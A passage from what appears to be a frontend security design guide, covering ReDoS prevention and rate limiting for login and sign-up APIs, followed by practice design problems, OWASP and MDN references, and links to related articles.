Prevent it by capping length before the regex runs, writing patterns where each character can match only one way, linting with a rule that detects super-linear backtracking, using a linear-time engine such as RE2 for user-supplied or hot-path patterns, and preferring real parsers like URL to big regexes.
Question 5
Design rate limiting for a public sign-up and login API.
Token buckets in Redis with atomic updates. Before login, key on client IP (read from my own proxy's header, IPv6 by /64) with an edge rule for floods; after login, key on user ID. For login specifically, also limit per target account, and respond with growing delays or a CAPTCHA rather than hard lockouts that attackers could use against real users.
Refused requests get 429 with Retry-After; the client shows when to try again and backs off. I would watch for carrier-grade NAT false positives and tune per-IP limits with real traffic data.
Practice it
These design problems lean on validating and sanitizing input.
- Design an OTP inputEasy
- Design a signature padEasy
- Design a date pickerMedium
- Design a file uploaderMedium
- Design a tag (multi-select) inputMedium
- Design a multi-step form wizardMedium
- Design a color pickerMedium
- Design product ratings and reviewsMedium
- Design a CSV import with column mappingMedium
- Design an admin CMSMedium
- Design a drag-and-drop form builderHard
- Design a secure payment formHard
- Design a long insurance application formHard
References
- OWASP Input Validation Cheat Sheet Allowlists, canonicalization, and where validation fits.
- OWASP Server-Side Request Forgery Prevention Cheat Sheet Address checks, DNS rebinding, and network controls.
- OWASP Unvalidated Redirects and Forwards Cheat Sheet
- OWASP: Regular expression Denial of Service (ReDoS)
- MDN: URL API The parser to use for redirect and fetch targets.
- MDN: 429 Too Many Requests
- Cloudflare: Details of the Cloudflare outage on July 2, 2019 A real ReDoS outage, explained step by step.
- eslint-plugin-regexp: no-super-linear-backtracking The lint rule that flags patterns that can backtrack catastrophically.
- Krebs on Security: What we can learn from the Capital One hack How an SSRF through a firewall reached the cloud metadata service.
- IETF draft: RateLimit header fields for HTTP
- Next.js: Data security Why server actions need their own validation and authorization.
- Zod documentation
Read next
- Cross-site scripting (XSS)Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
- Uploading filesHow a file gets from the user's device to your storage: through your server or straight to object storage with a pre-signed URL, in resumable chunks with honest progress, checked on both sides, and served back without opening a security hole.
- Forms at scaleHow to hold, validate, and submit form data so users see the right error at the right moment, never lose what they typed, and get the same rules on the client and the server.
- API contracts, versioning, and errorsThe written agreement between the frontend and the API: a typed schema both sides are checked against, rules for changing it without breaking old clients, and one error shape the UI can always understand, including for partial failures and safe retries.
- WebhooksAn HTTP request that another company's server sends to yours the moment something happens, signed so you can trust it and retried until you answer: the first hop of many updates that end on a user's screen.
- Security headersA handful of response headers that switch on browser defenses your code can't build itself: force HTTPS, stop content sniffing, trim the Referer, turn off powerful features, and isolate your page from other origins.